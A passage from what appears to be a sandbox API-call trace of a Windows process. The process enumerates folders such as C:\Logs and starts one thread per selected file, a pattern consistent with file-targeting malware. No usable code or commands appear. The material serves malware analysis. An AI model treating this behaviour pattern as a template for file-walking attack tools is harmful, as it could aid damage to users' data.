	[0073.126] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0073.126] wcscmp (_String1="SetupEngine.dll", _String2=".") returned 1
	[0073.126] wcscmp (_String1="SetupEngine.dll", _String2="..") returned 1
	[0073.126] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0073.126] wcscmp (_String1="SetupUi.dll", _String2=".") returned 1
	[0073.126] wcscmp (_String1="SetupUi.dll", _String2="..") returned 1
	[0073.126] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0073.126] wcscmp (_String1="SetupUi.xsd", _String2=".") returned 1
	[0073.126] wcscmp (_String1="SetupUi.xsd", _String2="..") returned 1
	[0073.126] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2d64a88
	[0073.126] wcscpy (in: _Dest=0x2d64a88, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.126] wcscat (in: _Dest=0x2d64a88, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.126] wcscat (in: _Dest=0x2d64a88, _Source="SetupUi.xsd" | out: _Dest="C:\\588bce7c90097ed212\\SetupUi.xsd") returned="C:\\588bce7c90097ed212\\SetupUi.xsd"
	[0073.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d64a88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424
	[0073.127] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0073.127] wcscmp (_String1="SetupUtility.exe", _String2=".") returned 1
	[0073.127] wcscmp (_String1="SetupUtility.exe", _String2="..") returned 1
	[0073.127] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0073.127] wcscmp (_String1="SplashScreen.bmp", _String2=".") returned 1
	[0073.127] wcscmp (_String1="SplashScreen.bmp", _String2="..") returned 1
	[0073.127] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2d54330
	[0073.127] wcscpy (in: _Dest=0x2d54330, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.127] wcscat (in: _Dest=0x2d54330, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.127] wcscat (in: _Dest=0x2d54330, _Source="SplashScreen.bmp" | out: _Dest="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp"
	[0073.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d54330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428
	[0073.128] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0073.128] wcscmp (_String1="sqmapi.dll", _String2=".") returned 1
	[0073.128] wcscmp (_String1="sqmapi.dll", _String2="..") returned 1
	[0073.128] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0073.128] wcscmp (_String1="Strings.xml", _String2=".") returned 1
	[0073.128] wcscmp (_String1="Strings.xml", _String2="..") returned 1
	[0073.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2d643a8
	[0073.128] wcscpy (in: _Dest=0x2d643a8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.128] wcscat (in: _Dest=0x2d643a8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.128] wcscat (in: _Dest=0x2d643a8, _Source="Strings.xml" | out: _Dest="C:\\588bce7c90097ed212\\Strings.xml") returned="C:\\588bce7c90097ed212\\Strings.xml"
	[0073.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d643a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c
	[0073.128] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0073.128] wcscmp (_String1="UiInfo.xml", _String2=".") returned 1
	[0073.128] wcscmp (_String1="UiInfo.xml", _String2="..") returned 1
	[0073.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x47310a0
	[0073.129] wcscpy (in: _Dest=0x47310a0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.129] wcscat (in: _Dest=0x47310a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.129] wcscat (in: _Dest=0x47310a0, _Source="UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\UiInfo.xml"
	[0073.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47310a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430
	[0073.129] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0073.129] wcscmp (_String1="watermark.bmp", _String2=".") returned 1
	[0073.129] wcscmp (_String1="watermark.bmp", _String2="..") returned 1
	[0073.129] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4731190
	[0073.129] wcscpy (in: _Dest=0x4731190, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.129] wcscat (in: _Dest=0x4731190, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.129] wcscat (in: _Dest=0x4731190, _Source="watermark.bmp" | out: _Dest="C:\\588bce7c90097ed212\\watermark.bmp") returned="C:\\588bce7c90097ed212\\watermark.bmp"
	[0073.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4731190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434
	[0073.130] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0073.130] wcscmp (_String1="Windows6.0-KB956250-v6001-x64.msu", _String2=".") returned 1
	[0073.130] wcscmp (_String1="Windows6.0-KB956250-v6001-x64.msu", _String2="..") returned 1
	[0073.130] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0073.130] wcscmp (_String1="Windows6.0-KB956250-v6001-x86.msu", _String2=".") returned 1
	[0073.130] wcscmp (_String1="Windows6.0-KB956250-v6001-x86.msu", _String2="..") returned 1
	[0073.130] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
	[0073.130] wcscmp (_String1="Windows6.1-KB958488-v6001-x64.msu", _String2=".") returned 1
	[0073.130] wcscmp (_String1="Windows6.1-KB958488-v6001-x64.msu", _String2="..") returned 1
	[0073.130] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0073.130] wcscmp (_String1="Windows6.1-KB958488-v6001-x86.msu", _String2=".") returned 1
	[0073.130] wcscmp (_String1="Windows6.1-KB958488-v6001-x86.msu", _String2="..") returned 1
	[0073.130] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0
	[0073.130] FindClose (in: hFindFile=0x2d71140 | out: hFindFile=0x2d71140) returned 1
	[0073.131] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0073.131] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bd20) returned 1
	[0073.131] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bff8) returned 1

Thread:
	id = 29
	os_tid = 0x8d4

	[0073.098] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2d71080
	[0073.098] wcscpy (in: _Dest=0x2d71080, _Source="C:\\Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings"
	[0073.098] wcscat (in: _Dest=0x2d71080, _Source="\\" | out: _Dest="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\"
	[0073.098] wcscat (in: _Dest=0x2d71080, _Source="*" | out: _Dest="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*"
	[0073.098] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4730008
	[0073.098] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x4730008 | out: lpFindFileData=0x4730008*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0073.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0073.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71080) returned 1
	[0073.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71000) returned 1

Thread:
	id = 30
	os_tid = 0xd48

	[0073.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12) returned 0x2d79be0
	[0073.133] wcscpy (in: _Dest=0x2d79be0, _Source="C:\\ESD" | out: _Dest="C:\\ESD") returned="C:\\ESD"
	[0073.133] wcscat (in: _Dest=0x2d79be0, _Source="\\" | out: _Dest="C:\\ESD\\") returned="C:\\ESD\\"
	[0073.133] wcscat (in: _Dest=0x2d79be0, _Source="*" | out: _Dest="C:\\ESD\\*") returned="C:\\ESD\\*"
	[0073.134] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d7c580
	[0073.134] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71000
	[0073.137] wcscmp (_String1=".", _String2=".") returned 0
	[0073.137] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.137] wcscmp (_String1="..", _String2=".") returned 1
	[0073.137] wcscmp (_String1="..", _String2="..") returned 0
	[0073.137] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0073.137] FindClose (in: hFindFile=0x2d71000 | out: hFindFile=0x2d71000) returned 1
	[0073.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0073.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79be0) returned 1
	[0073.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84728) returned 1

Thread:
	id = 31
	os_tid = 0xdc8

	[0073.141] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14) returned 0x2d79aa0
	[0073.141] wcscpy (in: _Dest=0x2d79aa0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.141] wcscat (in: _Dest=0x2d79aa0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.141] wcscat (in: _Dest=0x2d79aa0, _Source="*" | out: _Dest="C:\\Logs\\*") returned="C:\\Logs\\*"
	[0073.141] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d7c580
	[0073.141] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71000
	[0073.199] wcscmp (_String1=".", _String2=".") returned 0
	[0073.199] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.204] wcscmp (_String1="..", _String2=".") returned 1
	[0073.204] wcscmp (_String1="..", _String2="..") returned 0
	[0073.204] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1
	[0073.205] wcscmp (_String1="Application.evtx", _String2=".") returned 1
	[0073.205] wcscmp (_String1="Application.evtx", _String2="..") returned 1
	[0073.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70940
	[0073.205] wcscpy (in: _Dest=0x2d70940, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.205] wcscat (in: _Dest=0x2d70940, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.205] wcscat (in: _Dest=0x2d70940, _Source="Application.evtx" | out: _Dest="C:\\Logs\\Application.evtx") returned="C:\\Logs\\Application.evtx"
	[0073.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d70940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc
	[0073.205] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1
	[0073.205] wcscmp (_String1="HardwareEvents.evtx", _String2=".") returned 1
	[0073.205] wcscmp (_String1="HardwareEvents.evtx", _String2="..") returned 1
	[0073.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2d70800
	[0073.206] wcscpy (in: _Dest=0x2d70800, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.206] wcscat (in: _Dest=0x2d70800, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.206] wcscat (in: _Dest=0x2d70800, _Source="HardwareEvents.evtx" | out: _Dest="C:\\Logs\\HardwareEvents.evtx") returned="C:\\Logs\\HardwareEvents.evtx"
	[0073.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d70800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0
	[0073.206] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1
	[0073.206] wcscmp (_String1="Internet Explorer.evtx", _String2=".") returned 1
	[0073.206] wcscmp (_String1="Internet Explorer.evtx", _String2="..") returned 1
	[0073.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73348
	[0073.206] wcscpy (in: _Dest=0x2d73348, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.206] wcscat (in: _Dest=0x2d73348, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.206] wcscat (in: _Dest=0x2d73348, _Source="Internet Explorer.evtx" | out: _Dest="C:\\Logs\\Internet Explorer.evtx") returned="C:\\Logs\\Internet Explorer.evtx"
	[0073.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d73348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4
	[0073.207] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1
	[0073.207] wcscmp (_String1="Key Management Service.evtx", _String2=".") returned 1
	[0073.207] wcscmp (_String1="Key Management Service.evtx", _String2="..") returned 1
	[0073.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730fb0
	[0073.207] wcscpy (in: _Dest=0x4730fb0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.207] wcscat (in: _Dest=0x4730fb0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.207] wcscat (in: _Dest=0x4730fb0, _Source="Key Management Service.evtx" | out: _Dest="C:\\Logs\\Key Management Service.evtx") returned="C:\\Logs\\Key Management Service.evtx"
	[0073.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8
